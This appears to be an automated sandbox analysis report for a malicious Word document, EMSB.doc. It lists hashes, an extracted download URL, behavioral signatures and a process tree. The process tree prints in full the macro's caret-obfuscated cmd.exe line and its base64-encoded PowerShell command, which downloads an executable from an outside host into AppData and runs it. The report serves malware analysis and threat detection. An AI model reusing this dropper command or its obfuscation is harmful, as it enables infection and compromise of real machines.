Analysis
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max time kernel
141s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
20-05-2024 17:54
Behavioral task
behavioral1
Sample
EMSB.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
EMSB.doc
Resource
win10v2004-20240508-en
General
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Target
EMSB.doc
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Size
114KB
-
MD5
754dc2d09d30c6e9d51a08feb7396dcc
-
SHA1
f17f2e77515157a1f07338571ffc55db8a2d1573
-
SHA256
1df932207319ad8505a88a915c3bbf5eb11fd12dba6d921cd107ef497da25692
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SHA512
a69edd08a95888287841461ee19508b5e03063052240911f1ebd4cb74f23bb3e40b6f980edce5e1d476498c4cfcc61b091f6173b20785aec916b54e59c6ec8fd
-
SSDEEP
1536:/9F+u6qHEmcutqTRE23B9bEfAl/eDW3+jYrqCEtvaaeeAbgy1oZUeB6:/+u6Ict73PbE4xrLKngUUeU
Malware Config
Extracted
http://kotobelamx.com/DAB/nerimf.php?l=willow2.pas
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3044 1972 cmd.exe WINWORD.EXE -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
cmd.exepid process 3044 cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 1972 WINWORD.EXE 1972 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2968 powershell.exe 2968 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2968 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 1972 WINWORD.EXE 1972 WINWORD.EXE 1972 WINWORD.EXE 1972 WINWORD.EXE 1972 WINWORD.EXE 1972 WINWORD.EXE 1972 WINWORD.EXE 1972 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 1972 wrote to memory of 3044 1972 WINWORD.EXE cmd.exe PID 1972 wrote to memory of 3044 1972 WINWORD.EXE cmd.exe PID 3044 wrote to memory of 2968 3044 cmd.exe powershell.exe PID 3044 wrote to memory of 2968 3044 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\EMSB.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c p^O^w^e^R^s^H^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^r^A^G^8^A^d^A^B^v^A^G^I^A^Z^Q^B^s^A^G^E^A^b^Q^B^4^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^E^A^E^E^A^Q^g^A^v^A^G^4^A^Z^Q^B^y^A^G^k^A^b^Q^B^m^A^C^4^A^c^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^d^w^B^p^A^G^w^A^b^A^B^v^A^H^c^A^M^g^A^u^A^H^A^A^Y^Q^B^z^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^c^A^X^A^A^x^A^D^I^A^M^Q^A^0^A^D^M^A^M^Q^A^z^A^D^Q^A^M^w^A^2^A^D^I^A^M^A^A^3^A^D^Q^A^M^Q^A^u^A^G^U^A^e^A^B^l^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^p^A^D^s^A^I^A^B^T^A^H^Q^A^Y^Q^B^y^A^H^Q^A^L^Q^B^Q^A^H^I^A^b^w^B^j^A^G^U^A^c^w^B^z^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^J^w^B^c^A^D^E^A^M^g^A^x^A^D^Q^A^M^w^A^x^A^D^M^A^N^A^A^z^A^D^Y^A^M^g^A^w^A^D^c^A^N^A^A^x^A^C^4^A^Z^Q^B^4^A^G^U^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^D^s^A^I^A^B^F^A^H^g^A^a^Q^B^0^A^D^s^A2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepOweRsHeLL.exe -EC KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBrAG8AdABvAGIAZQBsAGEAbQB4AC4AYwBvAG0ALwBEAEEAQgAvAG4AZQByAGkAbQBmAC4AcABoAHAAPwBsAD0AdwBpAGwAbABvAHcAMgAuAHAAYQBzACIALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXAAxADIAMQA0ADMAMQAzADQAMwA2ADIAMAA3ADQAMQAuAGUAeABlAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAJwBcADEAMgAxADQAMwAxADMANAAzADYAMgAwADcANAAxAC4AZQB4AGUALgBlAHgAZQAnADsAIABFAHgAaQB0ADsA3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2968
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82